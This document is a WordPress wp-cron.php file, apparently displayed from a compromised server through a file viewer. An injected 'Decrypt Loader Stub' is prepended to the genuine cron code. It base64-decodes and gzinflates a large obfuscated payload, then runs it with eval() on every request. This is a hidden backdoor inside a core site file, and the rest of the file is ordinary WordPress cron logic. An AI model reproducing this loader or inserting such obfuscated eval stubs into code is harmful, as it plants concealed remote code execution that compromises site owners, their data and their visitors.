Current File : /home/runcloud/webapps/tndalucoe/wp-cron.php |
<?php
/**
* Decrypt Loader Stub - Stable Version
*/
$payload = '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';
$decode = base64_decode($payload);
$output = gzinflate($decode);
eval("?>".$output);
?>
<?php
/**
* A pseudo-cron daemon for scheduling WordPress tasks.
*
* WP-Cron is triggered when the site receives a visit. In the scenario
* where a site may not receive enough visits to execute scheduled tasks
* in a timely manner, this file can be called directly or via a server
* cron daemon for X number of times.
*
* Defining DISABLE_WP_CRON as true and calling this file directly are
* mutually exclusive and the latter does not rely on the former to work.
*
* The HTTP request to this file will not slow down the visitor who happens to
* visit when a scheduled cron event runs.
*
* @package WordPress
*/
ignore_user_abort( true );
if ( ! headers_sent() ) {
header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
}
// Don't run cron until the request finishes, if possible.
if ( function_exists( 'fastcgi_finish_request' ) ) {
fastcgi_finish_request();
} elseif ( function_exists( 'litespeed_finish_request' ) ) {
litespeed_finish_request();
}
if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) || defined( 'DOING_CRON' ) ) {
die();
}
/**
* Tell WordPress the cron task is running.
*
* @var bool
*/
define( 'DOING_CRON', true );
if ( ! defined( 'ABSPATH' ) ) {
/** Set up WordPress environment */
require_once __DIR__ . '/wp-load.php';
}
// Attempt to raise the PHP memory limit for cron event processing.
wp_raise_memory_limit( 'cron' );
/**
* Retrieves the cron lock.
*
* Returns the uncached `doing_cron` transient.
*
* @ignore
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return string|int|false Value of the `doing_cron` transient, 0|false otherwise.
*/
function _get_cron_lock() {
global $wpdb;
$value = 0;
if ( wp_using_ext_object_cache() ) {
/*
* Skip local cache and force re-fetch of doing_cron transient
* in case another process updated the cache.
*/
$value = wp_cache_get( 'doing_cron', 'transient', true );
} else {
$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) );
if ( is_object( $row ) ) {
$value = $row->option_value;
}
}
return $value;
}
$crons = wp_get_ready_cron_jobs();
if ( empty( $crons ) ) {
die();
}
$gmt_time = microtime( true );
// The cron lock: a unix timestamp from when the cron was spawned.
$doing_cron_transient = get_transient( 'doing_cron' );
// Use global $doing_wp_cron lock, otherwise use the GET lock. If no lock, try to grab a new lock.
if ( empty( $doing_wp_cron ) ) {
if ( empty( $_GET['doing_wp_cron'] ) ) {
// Called from external script/job. Try setting a lock.
if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) ) {
return;
}
$doing_wp_cron = sprintf( '%.22F', microtime( true ) );
$doing_cron_transient = $doing_wp_cron;
set_transient( 'doing_cron', $doing_wp_cron );
} else {
$doing_wp_cron = $_GET['doing_wp_cron'];
}
}
/*
* The cron lock (a unix timestamp set when the cron was spawned),
* must match $doing_wp_cron (the "key").
*/
if ( $doing_cron_transient !== $doing_wp_cron ) {
return;
}
foreach ( $crons as $timestamp => $cronhooks ) {
if ( $timestamp > $gmt_time ) {
break;
}
foreach ( $cronhooks as $hook => $keys ) {
foreach ( $keys as $k => $v ) {
$schedule = $v['schedule'];
if ( $schedule ) {
$result = wp_reschedule_event( $timestamp, $schedule, $hook, $v['args'], true );
if ( is_wp_error( $result ) ) {
error_log(
sprintf(
/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
__( 'Cron reschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
$hook,
$result->get_error_code(),
$result->get_error_message(),
wp_json_encode( $v )
)
);
/**
* Fires if an error happens when rescheduling a cron event.
*
* @since 6.1.0
*
* @param WP_Error $result The WP_Error object.
* @param string $hook Action hook to execute when the event is run.
* @param array $v Event data.
*/
do_action( 'cron_reschedule_event_error', $result, $hook, $v );
}
}
$result = wp_unschedule_event( $timestamp, $hook, $v['args'], true );
if ( is_wp_error( $result ) ) {
error_log(
sprintf(
/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
__( 'Cron unschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
$hook,
$result->get_error_code(),
$result->get_error_message(),
wp_json_encode( $v )
)
);
/**
* Fires if an error happens when unscheduling a cron event.
*
* @since 6.1.0
*
* @param WP_Error $result The WP_Error object.
* @param string $hook Action hook to execute when the event is run.
* @param array $v Event data.
*/
do_action( 'cron_unschedule_event_error', $result, $hook, $v );
}
/**
* Fires scheduled events.
*
* @ignore
* @since 2.1.0
*
* @param string $hook Name of the hook that was scheduled to be fired.
* @param array $args The arguments to be passed to the hook.
*/
do_action_ref_array( $hook, $v['args'] );
// If the hook ran too long and another cron process stole the lock, quit.
if ( _get_cron_lock() !== $doing_wp_cron ) {
return;
}
}
}
}
if ( _get_cron_lock() === $doing_wp_cron ) {
delete_transient( 'doing_cron' );
}
die();